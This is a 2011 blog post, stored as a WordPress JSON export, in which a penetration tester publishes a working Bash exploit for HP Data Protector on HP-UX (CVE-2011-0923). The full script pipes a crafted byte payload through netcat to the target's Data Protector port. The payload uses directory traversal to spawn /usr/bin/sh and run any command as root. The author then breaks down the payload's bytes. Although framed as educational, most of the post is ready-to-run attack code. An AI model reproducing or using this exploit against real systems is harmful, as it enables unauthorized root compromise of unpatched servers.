{"id":444,"date":"2011-08-04T23:13:31","date_gmt":"2011-08-05T04:13:31","guid":{"rendered":"http:\/\/hackarandas.com\/blog\/?p=444"},"modified":"2019-07-22T13:07:35","modified_gmt":"2019-07-22T18:07:35","slug":"hp-data-protector-remote-shell-for-hpux","status":"publish","type":"post","link":"https:\/\/hackarandas.com\/blog\/2011\/08\/04\/hp-data-protector-remote-shell-for-hpux\/","title":{"rendered":"HP Data Protector Remote Shell for HPUX"},"content":{"rendered":"<p><a href=\"https:\/\/hackarandas.com\/blog\/2011\/08\/04\/hp-data-protector-remote-shell-for-hpux\/\" rel=\"attachment wp-att-446\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackarandas.com\/blog\/wp-content\/uploads\/2011\/08\/root-145x150.gif\" alt=\"\" title=\"Remote Shell\" width=\"145\" height=\"150\" style=\"margin: 10px 10px 0pt 0pt; float: left;\"><\/a> In many pentest that I have done, <a href=\"http:\/\/en.wikipedia.org\/wiki\/HP-UX\">HPUX<\/a> is one of the more commons <a href=\"http:\/\/en.wikipedia.org\/wiki\/Operating_system\">UNIX<\/a> OS that I found. It is a strong operating system running in a robust hardware, and when I got to know more about the<a href=\"http:\/\/en.wikipedia.org\/wiki\/HP_Integrated_Lights-Out\"> Lights Out<\/a> functionality I just fall in love.  Al thought many companies uses it for running their main part of their business I have found the they don&#8217;t pay much attention on it&#8217;s security so it&#8217;s common to find production servers without patches or even running applications on insecure protocols like <a href=\"http:\/\/en.wikipedia.org\/wiki\/Telnet\">Telnet<\/a>, <a href=\"http:\/\/en.wikipedia.org\/wiki\/FTP\">FTP<\/a> or even <a href=\"http:\/\/en.wikipedia.org\/wiki\/Rlogin\">rlogin<\/a>.<\/p>\n<p>Since HPUX has been around for a long time and HP was concerned about its security he created the project <a href=\"https:\/\/h20392.www2.hp.com\/portal\/swdepot\/displayProductInfo.do?productNumber=B6849AA\">Bastile for HPUX<\/a>. I had used it to secure servers and I can say that it&#8217;s great! You have to be really careful because it closes a lot of stuff and it may, no sorry, it will broke the connectivity with your oldest applications. ( by the way, it moves the users hashes to the \/tcb\/files\/auth\/ folder ;) ). This doesn&#8217;t mean you just run tomorrow, apply the Bastille on your servers  and forget about them&#8230; YOU ALSO NEED TO PATCH THE SERVER -CONSTANTLY-<\/p>\n<p>So this week I was working in a <a href=\"http:\/\/en.wikipedia.org\/wiki\/Pentest\">Pentest <\/a> and one of the main objectives was this HPUX 11.11 server, with 10 open ports and Bastille installed, it wasn&#8217;t looking so good. Looking around I found that <a href=\"http:\/\/www.zerodayinitiative.com\/advisories\/ZDI-11-055\/\">Data Protect has this nasty vulnerability<\/a> and  that <a href=\"http:\/\/twitter.com\/#!\/fdiskyou\">fdisk<\/a> has created a <a href=\"http:\/\/www.exploit-db.com\/exploits\/17339\/\">PoC<\/a> for this <a href=\"http:\/\/en.wikipedia.org\/wiki\/Zero-day_attack\">Zero Day<\/a> but in Windows. So with a lot of help from <a href=\"http:\/\/twitter.com\/#!\/c4an\">c4an<\/a> (he ported this tool to the <a href=\"http:\/\/www.metasploit.com\/\">Metasploit Project<\/a> that you can see in his <a href=\"http:\/\/c4an-dl.blogspot.com\/2011\/08\/hp-data-protector-vuln.html\">blog<\/a>) the server was compromised with root&#8230;. <a href=\"http:\/\/en.wikipedia.org\/wiki\/W00t\">w00t w00t<\/a>!<\/p>\n<p>So this is the code and I share it ONLY FOR EDUCATIONAL PURPOSES. I encourage you not to use it on servers that you don&#8217;t own. You can also <a href=\"http:\/\/hackarandas.com\/hacking-projects\/HPUXDataProtect_RemoteShell.sh.gz\">download it<\/a> from my <a href=\"http:\/\/hackarandas.com\/hacking-projects\/\">Hacking Projects<\/a> section<\/p>\n<pre lang=\"bash\">#!\/bin\/bash\n# Exploit Title: HP Data Protector Remote Shell for HPUX\n# Date: 2011-08-02\n# Author: Adrian Puente Z.\n# Software Link:http:\/\/www8.hp.com\/us\/en\/software\/software-\n# product.html?compURI=tcm:245-936920&amp;pageTitle=data-protector\n# Version: 0.9\n# Tested on: HPUX\n# CVE: CVE-2011-0923\n# Notes: ZDI-11-055\n# Reference: http:\/\/www.zerodayinitiative.com\/advisories\/ZDI-11-055\/\n# Reference: http:\/\/h20000.www2.hp.com\/bizsupport\/TechSupport\/\n# Document.jsp?objectID=c02781143\n#\n# Powered by Hackarandas www.hackarandas.com\n# Reachme at ch0ks _at_ hackarandas _dot_ com || @ch0ks\n# Lots of thanks to David Llorens (@c4an) for all the help.\n# Ported to HPUX from fdisk's (@fdiskyou) Windows version.\n# Windows version: http:\/\/www.exploit-db.com\/exploits\/17339\/\n#\n# Shouts to shellhellboy, r3x, r0d00m, etlow,\n# psymera, nitr0us and ppl in #mendozaaaa\n# \n\n\n[ $# -lt 3 ] &amp;&amp; echo -en \"Syntax: `basename ${0}` <host> <port> <commands>\\n\\n`basename ${0}` 10.22.33.44 5555 id \\nX15 [12:1] uid=0(root) gid=0(root)\n\" &amp;&amp; exit 0 <\/commands><\/port><\/host>\nHOST=`echo ${@} | awk '{print $1}'`\nPORT=`echo ${@} | awk '{print $2}'`\nCMD=`echo ${@} | sed 's\/'$HOST'.*'${PORT}'\\ \\ *\/\/g'`\nSC=\"\"\nSC=${SC}\"\\x00\\x00\\x00\\xa4\\x20\\x32\\x00\\x20\\x2d\\x2d\\x63\\x68\\x30\\x6b\\x73\\x2d\"\nSC=${SC}\"\\x00\\x20\\x30\\x00\\x20\\x53\\x59\\x53\\x54\\x45\\x4d\\x00\\x20\\x2d\\x63\\x68\"\nSC=${SC}\"\\x30\\x6b\\x73\\x2d\\x2d\\x00\\x20\\x43\\x00\\x20\\x32\\x30\\x00\\x20\\x2d\\x2d\"\nSC=${SC}\"\\x63\\x68\\x30\\x6b\\x73\\x2d\\x00\\x20\\x50\\x6f\\x63\\x00\\x20\\x2d\\x72\\x30\"\nSC=${SC}\"\\x30\\x74\\x2d\\x72\\x30\\x30\\x74\\x2d\\x00\\x20\\x2d\\x72\\x30\\x30\\x74\\x2d\"\nSC=${SC}\"\\x72\\x30\\x30\\x74\\x2d\\x00\\x20\\x2d\\x72\\x30\\x30\\x74\\x2d\\x72\\x30\\x30\"\nSC=${SC}\"\\x74\\x2d\\x00\\x20\\x30\\x00\\x20\\x30\\x00\\x20\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\"\nSC=${SC}\"\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\"\nSC=${SC}\"\\x2e\\x2f\\x2e\\x2e\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\nSC=${SC}\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\nSC=${SC}\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\nSHELLCODE=${SC}\n( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}\n<\/pre>\n<p>This script is in <a href=\"http:\/\/en.wikipedia.org\/wiki\/Bash_(Unix_shell)\">Bash<\/a> and can run in any Linux like Backtrack or in Windows using <a href=\"http:\/\/en.wikipedia.org\/wiki\/Cygwin\">Cygwin<\/a> and this is how it works:<\/p>\n<p>The <a href=\"http:\/\/en.wikipedia.org\/wiki\/Shellcode\">shellcode<\/a> is 168 bytes and is injected directly on the port. The first 8 bytes of the 104 bytes of this shellcode is part of the protocol where we use the flag &#8220;C 20&#8221; to tell Data Protect (I found that if we manipulates this value other things can be accomplished even writing directly to \/ ) to perform the vulnerable function that allows remote connections and execute files within it&#8217;s local bin directory.<\/p>\n<pre lang=\"bash\">\"\\x00\\x00\\x00\\xa4\\x20\\x32\\x00\\x20\\x2d\\x2d\\x63\\x68\\x30\\x6b\\x73\\x2d\"\n\"\\x00\\x20\\x30\\x00\\x20\\x53\\x59\\x53\\x54\\x45\\x4d\\x00\\x20\\x2d\\x63\\x68\"\n\"\\x30\\x6b\\x73\\x2d\\x2d\\x00\\x20\\x43\\x00\\x20\\x32\\x30\\x00\\x20\\x2d\\x2d\"\n\"\\x63\\x68\\x30\\x6b\\x73\\x2d\\x00\\x20\\x50\\x6f\\x63\\x00\\x20\\x2d\\x72\\x30\"\n\"\\x30\\x74\\x2d\\x72\\x30\\x30\\x74\\x2d\\x00\\x20\\x2d\\x72\\x30\\x30\\x74\\x2d\"\n\"\\x72\\x30\\x30\\x74\\x2d\\x00\\x20\\x2d\\x72\\x30\\x30\\x74\\x2d\\x72\\x30\\x30\"\n\"\\x74\\x2d\\x00\\x20\\x30\\x00\\x20\\x30\\x00\"\n<\/pre>\n<p>but if we use the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Directory_traversal\">Directory Path Traversal<\/a> technique we can execute any binary within the file system. The next part was tricky, I can execute any command but I am unable to pass arguments directly to it, so after some debug I found I can spawn a \/usr\/bin\/sh closing it with some nullbytes to get the complete 168 bytes and if I concatenates the command to execute it will pass directly to the shell and execute it with the user&#8217;s environment variables, in this case root, and returns us the output.<\/p>\n<pre lang=\"bash\">\"\\x20\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\"\n\"\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\"\n\"\\x2e\\x2f\\x2e\\x2e\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n<\/pre>\n<p>So at the end I get this to work doing this:<\/p>\n<pre lang=\"bash\">( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}<\/pre>\n<p>The <a href=\"http:\/\/en.wikipedia.org\/wiki\/Netcat\">Netcat<\/a> helps me to transports the shellcode to the port and it returns the output. It simply works.<\/p>\n<p>So special thanks to fdisk for the PoC and David Llorens  for the useful brainstorming, he also ported this tool to the <a href=\"http:\/\/www.metasploit.com\/\">Metasploit Project<\/a> that you can see in his <a href=\"http:\/\/c4an-dl.blogspot.com\/2011\/08\/hp-data-protector-vuln.html\">blog<\/a>.<\/p>\n<p><em>Adrian Puente Z.<\/em><\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>In many pentest that I have done, HPUX is one of the more commons UNIX OS that I found. It is a strong operating system running in a robust hardware, and when I got to know more about the Lights &hellip; <a href=\"https:\/\/hackarandas.com\/blog\/2011\/08\/04\/hp-data-protector-remote-shell-for-hpux\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,69,8,4],"tags":[30,73,71,74,75,72,23,70,36,19,24,76,77,47,79,33,49],"class_list":["post-444","post","type-post","status-publish","format-standard","hentry","category-code","category-exploits","category-hacking","category-security","tag-backtrack","tag-c4an","tag-data-protector","tag-david-llorens","tag-exploit","tag-fdisk","tag-hackarandas","tag-hpux","tag-infosec","tag-metasploit","tag-pentest","tag-remote-shell","tag-root","tag-security","tag-79","tag-seguridad-informatica","tag-unix"],"_links":{"self":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/444","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/comments?post=444"}],"version-history":[{"count":60,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/444\/revisions"}],"predecessor-version":[{"id":575,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/444\/revisions\/575"}],"wp:attachment":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/media?parent=444"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/categories?post=444"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/tags?post=444"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}